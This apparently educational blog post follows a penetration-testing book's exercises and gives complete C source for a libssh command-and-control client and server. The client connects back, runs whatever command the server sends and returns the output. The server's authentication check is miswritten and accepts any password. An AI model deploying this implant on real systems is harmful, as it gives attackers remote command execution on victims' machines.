APT Insights Part 2: Command and Control

In the realm of penetration testing, Command and Control (C2 or C&C) refers to the infrastructure used by attackers to communicate with compromised systems in a target network during a penetration test or cyberattack.

In this series of articles I'll go through the exercises found in the book Advanced Penetration Testing by Wil Allsopp, other posts can be found at:

APT Insights Part 1: VBA and VBS
APT Insights Part 2.1: C/C++ Dev Environment with Visual Studio and vcpkg

As I progress through the book I'll try to find alternative solutions for the outdated methods/techniques, since the book was published in 2017 not all examples will work out-of-the-box. Despite the year of publication and based on the reviews the book is still a relevant entry-level read for those who want to gain insight into advanced penetration testing and how advanced persistent threats work behind the scenes.

Disclaimer: This content is for educational purposes only. The techniques and tools discussed are intended solely for ethical and legal penetration testing, and security research within the bounds of the law. Unauthorized use of these techniques on systems and networks that you do not own or have explicit permission to test is illegal and unethical. The author and publisher disclaim any responsibility for any misuse or damage resulting from the application of the information provided.

Exercises from the book

  1. Implement the C2 infrastructure as described in Chapter 1 using C and libssh. Alternatively, use whatever programming language and libraries you are familiar with.
  2. Implement a C2 dropper in VBS that downloads a custom payload as shellcode rather than as an .exe and injects it directly into memory. Use the API calls from the initial VBA script.
  3. Assuming your payload had to be deployed as shellcode within a VBA script, how would you obfuscate it, feed it into memory one byte at a time, and execute it? Use VirusTotal and other resources to see how AV engines react to these techniques.

C2 Basics and Essentials

According to the book, the bare minimum a C2 should be capable of are the following:

  • Egress connectivity - The ability to initiate connections back out to our C2 server over the Internet in such a way that minimizes the possibility of firewall interference.
  • Stealth - Avoidance of detection both by host or network-based Intrusion Detection Systems (IDS).
  • Remote file system access - Being able to copy files to and from the compromised machine.
  • Remote command execution - Being able to execute code or commands on the compromised machine.
  • Secure communications - All traffic between the compromised host and the C2 server needs to be encrypted to a high industry standard.
  • Persistence - The payload needs to survive reboots.
  • Port forwarding - We will want to be able to redirect traffic bi directionally via the compromised host.
  • Control thread - Ensuring connections are reestablished back to the C2 server in the event of a network outage or other exceptional situation.

Building a Simple SSH Client/Server with libssh

The book advocates using the libssh library for the C programming language (however the code snippets in it are unusable.), since it's supported on several platforms i'tll be easier to create payloads for Windows, OSX or Linux/Unix systems with minimal code modifications. A nice intro for the libbssh library can be found here.

The libssh library is a C library that supports both client and server sides of the SSH protocol. It is open source and distributed under the LGPL license. The library provides a wide range of functionalities, including remote command execution, file transfer, and secure tunneling. Here are some key features and uses of libssh:

Key Features:

  • Client and Server Supportlibssh supports both client and server sides of the SSH protocol, allowing for remote command execution, file transfer, and secure tunneling.
  • Open Source: The library is open source and distributed under the LGPL license.
  • Multiplatformlibssh can run on top of either libgcrypt or libcrypto, two general-purpose cryptographic libraries.
  • Secure: The library ensures data integrity and provides strong means of authenticating both the server and the client.

"Hello World!" in C and cross-compilation

Here's an example of a simple C program and how to compile/cross-compile it for Windows.

More C tutorials can be found at: https://www.w3schools.com/c/index.php

hello.c

#include <stdio.h>

int main() {
        printf("Hello world!\n");
        return 0;
}

Compile / Cross-Compile (for Windows)

[cygnus@debian c2_basics]$ gcc hello.c -o hello
[cygnus@debian c2_basics]$ ./hello
Hello world!

[cygnus@debian c2_basics]$ apt search mingw-w64
mingw-w64/stable,stable,now 10.0.0-3 all [installed]
  Development environment targeting 32- and 64-bit Windows

[cygnus@debian c2_basics]$ x86_64-w64-mingw32-gcc hello.c -o hello.exe

C:\Users\winuser\Desktop\tmp>hello.exe
Hello world!

SSH Client / Server

The first version of our C2 application is consists of a simple SSH ssh_client and ssh_server. On successful execution the client connects back to the ssh_server and receives an instruction as which command to execute, then sends back this command's output to the server. For the sake of clarity, I tried to put nice comments in the code but I'd like to emphasize that I'm not a coder just a pentester whos learning how to code. :)

ssh_client.c

#include <libssh/libssh.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#define USERNAME "[changeme]"
#define PASSWORD "[changeme]"

int main() {
        ssh_session my_ssh_session;
        ssh_channel channel;

        int verbosity = SSH_LOG_PROTOCOL;
        int port = [changeme];
        int rc;

        // Buffer for reading from ssh_channel
        char buffer[256];
        int nbytes;

        // Initialize session
        my_ssh_session = ssh_new();
        if (my_ssh_session == NULL)
                exit(-1);

        // SSH options (host/port to listen on, log verbosity)
        ssh_options_set(my_ssh_session, SSH_OPTIONS_HOST, "[changeme]");
        ssh_options_set(my_ssh_session, SSH_OPTIONS_LOG_VERBOSITY, &verbosity);
        ssh_options_set(my_ssh_session, SSH_OPTIONS_PORT, &port);

        // Connect to host
        rc = ssh_connect(my_ssh_session);
        if (rc != SSH_OK) {
                fprintf(stderr, "Error connecting to host: %s\n",
                        ssh_get_error(my_ssh_session));
                exit(-1);
        }

        // Authenticate with user/pw
        rc = ssh_userauth_password(my_ssh_session, USERNAME, PASSWORD);
        if (rc != SSH_AUTH_SUCCESS) {
                fprintf(stderr, "Error authenticating with password: %s\n", ssh_get_error(my_ssh_session));
                ssh_disconnect(my_ssh_session);
                ssh_free(my_ssh_session);
                exit(-1);
        }


        // Create a channel for the command to execute
        channel = ssh_channel_new(my_ssh_session);
        if (channel == NULL) {
                return SSH_ERROR;
        }
        rc = ssh_channel_open_session(channel);
        if (rc != SSH_OK) {
                ssh_channel_free(channel);
                return rc;
        }

        // Read command instruction from the server
        nbytes = ssh_channel_read(channel, buffer, sizeof(buffer) - 1, 0);
        if (nbytes > 0) {
                buffer[nbytes] = '\0'; // Null-terminate the command string
                printf("Command to execute %s\n", buffer);
                // Execute the command on the client OS
                FILE *fp = popen(buffer, "r");
                if (fp == NULL) {
                        fprintf(stderr, "Failed to run command\n");
                        ssh_channel_close(channel);
                        ssh_channel_free(channel);
                        ssh_disconnect(my_ssh_session);
                        ssh_free(my_ssh_session);
                        return SSH_ERROR;
                }

                // Read the output and send it back to the server
                while (fgets(buffer, sizeof(buffer), fp) != NULL) {
                        ssh_channel_write(channel, buffer, strlen(buffer));
                }
                pclose(fp);
        }

        // Close the channel
        ssh_channel_send_eof(channel);
        ssh_channel_close(channel);
        ssh_channel_free(channel);

        // Clean up
        ssh_disconnect(my_ssh_session);
        ssh_free(my_ssh_session);
}

ssh_server.c

#include <libssh/libssh.h>
#include <libssh/server.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#define USERNAME "[changeme]"
#define PASSWORD "[changeme]"

int main() {
        ssh_session session;
        ssh_bind sshbind;
        ssh_message message;
        ssh_channel channel;

        int auth = 0;
        int port = [changeme];
        int verbosity = SSH_LOG_PROTOCOL;
        int rc;

        // Initialize session
        sshbind = ssh_bind_new();
        session = ssh_new();

        // SSH options (host/port to listen on, log verbosity, dsa/rsa keys)
        ssh_bind_options_set(sshbind, SSH_BIND_OPTIONS_BINDPORT, &port);
        ssh_bind_options_set(sshbind, SSH_BIND_OPTIONS_LOG_VERBOSITY, &verbosity);
        //ssh_bind_options_set(sshbind, SSH_BIND_OPTIONS_DSAKEY, "/path/to/test_dsa.key");
        ssh_bind_options_set(sshbind, SSH_BIND_OPTIONS_RSAKEY, "/path/to/test_rsa.key");

        // Listening on socket
        rc = ssh_bind_listen(sshbind);
        if (rc < 0) {
                fprintf(stderr, "Error listening to socket: %s\n", ssh_get_error(sshbind));
                return -1;
        }

        // Accepting connections
        rc = ssh_bind_accept(sshbind, session);
        if (rc == SSH_ERROR) {
                fprintf(stderr, "Error accepting a connection: %s\n", ssh_get_error(sshbind));
                return -1;
        }


        // Key exchange
        rc = ssh_handle_key_exchange(session);
        if (rc != SSH_OK) {
                fprintf(stderr, "Error exchanging keys: %s\n", ssh_get_error(session));
        return -1;
        }

        // Basic authentication loop
        while (!auth) {
                message = ssh_message_get(session);
                if (!message){
                        break;
                }

                if (ssh_message_type(message) == SSH_REQUEST_AUTH && ssh_message_subtype(message) == SSH_AUTH_METHOD_PASSWORD) {
                        // (!) Deprecated
                        // Line 302 SSH_DEPRECATED LIBSSH_API const char *ssh_message_auth_password(ssh_message msg);
                        // File: /usr/include/libssh/server.h
                        // Compile: gcc w/ -Wno-deprecated-declarations)
                        if (strcmp(ssh_message_auth_user(message), USERNAME) == 0 && strcmp(ssh_message_auth_password(message), PASSWORD) == 0)
                                        auth = 1;
                                        ssh_message_auth_reply_success(message, 0);
                } else {
                        ssh_message_reply_default(message);
                }
                ssh_message_free(message);
        }

        // Auth. failed
        if (!auth) {
                fprintf(stderr, "Authentication failed\n");
                ssh_disconnect(session);
                ssh_free(session);
                return -1;
        }

        // Channel request loop
        while (1) {
                message = ssh_message_get(session);
                if (!message) {
                        break;
                }

                if (ssh_message_type(message) == SSH_REQUEST_CHANNEL_OPEN && ssh_message_subtype(message) == SSH_CHANNEL_SESSION) {
                        channel = ssh_message_channel_request_open_reply_accept(message);
                        break;
                } else {
                        ssh_message_reply_default(message);
                }
                ssh_message_free(message);
        }

        if (!channel) {
                fprintf(stderr, "Error opening channel\n");
                ssh_disconnect(session);
                ssh_free(session);
                return -1;
        }

        // Send a message to the client
        const char *cmd = "[changeme]";
        ssh_channel_write(channel, cmd, strlen(cmd));

        // Read the cmd output from the client
        char buffer[256];
        int nbytes = ssh_channel_read(channel, buffer, sizeof(buffer), 0);
        while (nbytes > 0) {
                if (write(1, buffer, nbytes) != nbytes) {
                        // Close the channel
                        ssh_channel_close(channel);
                        ssh_channel_free(channel);
                        ssh_disconnect(session);
                        ssh_free(session);
                        return -1;
                }
                nbytes = ssh_channel_read(channel, buffer, sizeof(buffer), 0);
        }

        // Clean up
        ssh_disconnect(session);
        ssh_free(session);
        ssh_bind_free(sshbind);
        // ssh_finalize();

        return 0;
}

For testing purposes I compiled it for linux and executed it on my Debian host:

ssh_client Pasted image 20240617115901.png

ssh_server Pasted image 20240617115831.png

(!) Building an executable from C/C++ with libssh is a bit complicated so I'll describe that process in the following post:

APT Insights Part 2.1: C/C++ Dev Environment with Visual Studio and vcpkg

Stay tuned for more techniques, and remember: with great power comes great responsibility. Use this knowledge ethically and always with permission from the system owner.

Thoughts? Leave a comment